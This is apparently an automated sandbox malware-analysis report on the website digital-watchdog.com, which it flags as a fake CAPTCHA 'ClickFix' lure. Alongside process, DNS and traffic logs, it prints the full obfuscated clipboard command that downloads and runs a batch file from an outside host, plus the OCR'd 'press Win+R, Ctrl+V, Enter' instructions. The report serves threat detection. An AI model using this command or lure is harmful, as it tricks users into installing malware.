Edit tour

Windows Analysis Report
http://digital-watchdog.com

Overview

General Information

Sample URL:	http://digital-watchdog.com
Analysis ID:	1702450
Infos:

Detection

CAPTCHA Scam ClickFix

Score:	64
Range:	0 - 100
Confidence:	100%

Signatures

Detect drive by download via clipboard copy & paste

Yara detected CAPTCHA Scam ClickFix

HTML page adds supicious text to clipboard

HTML page contains obfuscated javascript

HTML page contains hidden javascript code

HTTP GET or POST without a user agent

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6960 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6188 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2028,i,17587528478964095806,11073304561506859187,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=1964 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6816 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=2028,i,17587528478964095806,11073304561506859187,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5944 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://digital-watchdog.com" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.5.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

HTTP traffic detected: POST /ccm/collect?tid=AW-456244667&en=page_view&dl=https%3A%2F%2Fdigital-watchdog.com%2F&scrsrc=www.googletagmanager.com&frm=0&rnd=1875455421.1748615718&dt=Digital%20Watchdog%20l%20Welcome&auid=2004574435.1748615718&navt=n&npa=0&gtm=45be55s2v899007962za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101509157~103116026~103130498~103130500~103200004~103233427~103252644~103252646~103351869~103351871~104481633~104481635~104559073~104559075&ptag_exp=101509157~103116026~103130498~103130500~103200004~103233427~103252644~103252646~103351869~103351871~104481633~104481635~104559073~104559075&tft=1748615718014&tfd=3380&apve=1&apvf=f HTTP/1.1host: www.google.comcontent-length: 0sec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: */*origin: https://digital-watchdog.comx-client-data: CLbgygE=sec-fetch-site: cross-sitesec-fetch-mode: no-corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.227.208:443 -> 192.168.2.16:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.150.240.254:443 -> 192.168.2.16:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.140.254:443 -> 192.168.2.16:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.254:443 -> 192.168.2.16:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49789 version: TLS 1.2

Source: classification engine

Classification label: mal64.phis.win@28/107@94/443

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2028,i,17587528478964095806,11073304561506859187,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=1964 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://digital-watchdog.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=2028,i,17587528478964095806,11073304561506859187,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2028,i,17587528478964095806,11073304561506859187,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=1964 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=2028,i,17587528478964095806,11073304561506859187,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: screenshot	OCR Text: -8 x about:blank Digital Watchdog I Welcome X digital-watchdog.com digital-watchdog.com Verify you are human by completing the action below Verifying... digital-watchdag.com needs ta review the security of your connection before proceeding. Complete these verification steps Lise keyboard To prove you are not robot 1. Press & hold the Win key + R 2. In verification window, press Ctrl key + V 3. Press Enter key an your keyboard O VERIFY Ray t12e866sg8n Performance and security by Cloudflare 1&35 ENG p Type here to search SG 30/05/2025
Source: Chrome DOM: 0.5	OCR Text: digital-watchdog.com Verify you are human by completing the action below o Verifying... digital-watchdag.com needs to review the security of your connection before proceeding. Complete these verification steps use keyboard To prove you are not robot 1, Press & hold the Win key + R 2. In verification window, press Ctrl key + V 3, Press Enter key on your keyboard Rey t12e866sg8n Performance and security by Cloudflare
Source: screenshot	OCR Text: e about:blank X Digital Watchdog I Welcome digital-watchdog.com digital-watchdog.com Verify you are human by completing the action below Verifying... Recently added Productivity your connection before proceeding. Google Chrome We speak Gmail steps Lise 3D Viewer Office Mail 7-Zip key + R , press Ctrl key + V ur keytoard Microsoft Edge Photos Access 'A Explore VERIFY Adobe Acrobat Alarms & Clack Autolt v3 Microsoft Store s - Musi... WhatsApp c Calculator Calendar Microsoft Films & TV Solitaire Collection Camera o Cortana 866sg8n rity by Cloudflare 1&35 ENG p type here to search o SG 30/05/2025
Source: screenshot	OCR Text: -8 x about:blank Digital Watchdog I Welcome X digital-watchdog.com digital-watchdog.com Verify you are human by completing the action below o Verifying... digital-watchdag.com needs ta review the security of your connection before proceeding. Complete these verification steps Lise keyboard To prove you are not robot 1. Press & hold the Win key + R 2. In verification window, press Ctrl key + V 3. Press Enter key an your keyboard O VERIFY Ray t12e866sg8n Performance and security by Cloudflare 1&35 ENG p Type here to search SG 30/05/2025
Source: screenshot	OCR Text: e about:blank X Digital Watchdog I Welcome digital-watchdog.com digital-watchdog.com Verify you are human by completing the action below Verifying... Recently added Productivity your connection before proceeding. Google Chrome We speak Gmail steps Lise 3D Viewer Office Mail 7-Zip key + R , press Ctrl key + V ur keyboard IA Microsoft Edge Photos Access Explore Adobe Acrobat VERIFY Alarms & Clack Autolt v3 Microsoft Store s - Musi... WhatsApp Calculator Calendar Microsoft Flims & TV Solitaire Collectim Camera Cortana 866sg8n Excel rity by Cloudflare 1&35 ENG p type here to search SG 30/05/2025
Source: screenshot	OCR Text: e about:blank X Digital Watchdog I Welcome digital-watchdog.com digital-watchdog.com Verify you are human by completing the action below Verifying... Recently added Productivity your connection before proceeding. Google Chrome We speak Gmail steps Lise 3D Viewer Office Mail 7-Zip key + R , press Ctrl key + V ur keyboard IA Microsoft Edge Photos Access Explore Adobe Acrobat VERIFY Alarms & Clack Autolt v3 Microsoft Sthe s - Musi... WhatsApp Calculator Calendar Microsoft Flims & TV Solitaire Collectim Camera Cortana 866sg8n Excel rity by Cloudflare 1&35 ENG p Type here to search SG 30/05/2025

HTML page adds supicious text to clipboard

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Clipboard modification: C:\WINDOWS\system32\conhost.exe cmd.exe /c cmd.exe /c cmd.exe /c c^u^rl.e^x^e -k -Ss -X POST "https://www.surethinks.com/header.php" -o "C:\ProgramData\fdgfdd.bat" && start /min "" "C:\ProgramData\fdgfdd.bat" Press En

Source: https://digital-watchdog.com/	HTTP Parser: No favicon
Source: https://digital-watchdog.com/	HTTP Parser: No favicon
Source: https://digital-watchdog.com/	HTTP Parser: No favicon
Source: https://digital-watchdog.com/	HTTP Parser: No favicon
Source: https://digital-watchdog.com/	HTTP Parser: No favicon

Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=767361503973632&ev=SubscribedButtonClick&dl=https%3A%2F%2Fdigital-watchdog.com%2F&rl=&if=false&ts=1748615725161&cd[buttonFeatures]=%7B%22classList%22%3A%22peer%20dark%3Abg-input%2F30%20data-%5Bstate%3Dchecked%5D%3Atext-primary-foreground%20dark%3Adata-%5Bstate%3Dchecked%5D%3Abg-primary%20focus-visible%3Aborder-ring%20focus-visible%3Aring-ring%2F50%20aria-invalid%3Aring-destructive%2F20%20dark%3Aaria-invalid%3Aring-destructive%2F40%20aria-invalid%3Aborder-destructive%20size-4%20shrink-0%20shadow-xs%20transition-shadow%20outline-none%20focus-visible%3Aring-%5B3px%5D%20disabled%3Acursor-not-allowed%20disabled%3Aopacity-50%20bg-white%20rounded-%5B2px%5D%20border-%5B2px%5D%20border-gray-500%20w-%5B18px%5D%20h-%5B18px%5D%20data-%5Bstate%3Dchecked%5D%3Abg-white%20data-%5Bstate%3Dchecked%5D%3Aborder-gray-500%22%2C%22destination%22%3A%22%22%2C%22id%22%3A%22%22%2C%22imageUrl%22%3A%22%22%2C%22innerText%22%3A%22%22%2C%22numChildButtons%22%3A0%2C%22tag%22%3A%22button%22%2C%22type%22%3A%22button%22%2C%22name%22%3A%22%22%2C%22value%22%3A%22on%22%7D&cd[buttonText]=&cd[formFeatures]=%5B%5D&cd[pageFeatures]=%7B%22title%22%3A%22Digital%20Watchdog%20l%20Welcome%22%7D&sw=1280&sh=1024&v=2.9.203&r=stable&ec=1&o=12318&fbp=fb.1.1748615719969.679263426248015277&ler=empty&cdl=API_unavailable&it=1748615719584&coo=false&es=automatic&tm=3&exp=k2&rqm=FGET HTTP/1.1host: www.facebook.comsec-ch-ua-platform: "Windows"
Source: global traffic	HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1host: www.bing.comorigin: https://www.bing.comreferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Initaccept: /accept-language: en-CHcontent-type: text/xmlx-agent-deviceid: 01000A4109009A83x-bm-cbt: 1741339061x-bm-dateformat: dd/MM/yyyyx-bm-devicedimensions: 784x640x-bm-devicedimensionslogical: 784x640x-bm-devicescale: 100x-bm-dtz: 60x-bm-market: CHx-bm-theme: 000000;0078d7x-bm-windowsflights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75x-device-clientsession: DEC880747F854EE0B5C157C15870FBC2x-device-isoptin: falsex-device-machineid: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}x-device-ossku: 48x-device-touch: falsex-deviceid: 01000A4109009A83x-msedge-externalexp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40x-msedge-externalexptype: JointCoordx-positionertype: Desktopx-search-appid: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIx-search-cortanaavailablecapabilities: Nonex-search-safesearch: Moderatex-search-timezone: Bias=-60; StandardBias=0; TimeZoneKeyName=W. Europe Standard Time
Source: global traffic	HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1host: www.bing.comorigin: https://www.bing.comreferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Initaccept: /accept-language: en-CHcontent-type: text/xmlx-agent-deviceid: 01000A4109009A83x-bm-cbt: 1741339061x-bm-dateformat: dd/MM/yyyyx-bm-devicedimensions: 784x640x-bm-devicedimensionslogical: 784x640x-bm-devicescale: 100x-bm-dtz: 60x-bm-market: CHx-bm-theme: 000000;0078d7x-bm-windowsflights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75x-device-clientsession: DEC880747F854EE0B5C157C15870FBC2x-device-isoptin: falsex-device-machineid: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}x-device-ossku: 48x-device-touch: falsex-deviceid: 01000A4109009A83x-msedge-externalexp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40x-msedge-externalexptype: JointCoordx-positionertype: Desktopx-search-appid: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIx-search-cortanaavailablecapabilities: Nonex-search-safesearch: Moderatex-search-timezone: Bias=-60; StandardBias=0; TimeZoneKeyName=W. Europe Standard Time

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: digital-watchdog.com
Source: global traffic	DNS traffic detected: DNS query: kanshuwang.top
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: unpkg.com
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: secure.enterpriseforesight247.com
Source: global traffic	DNS traffic detected: DNS query: dmq883log67hn.cloudfront.net
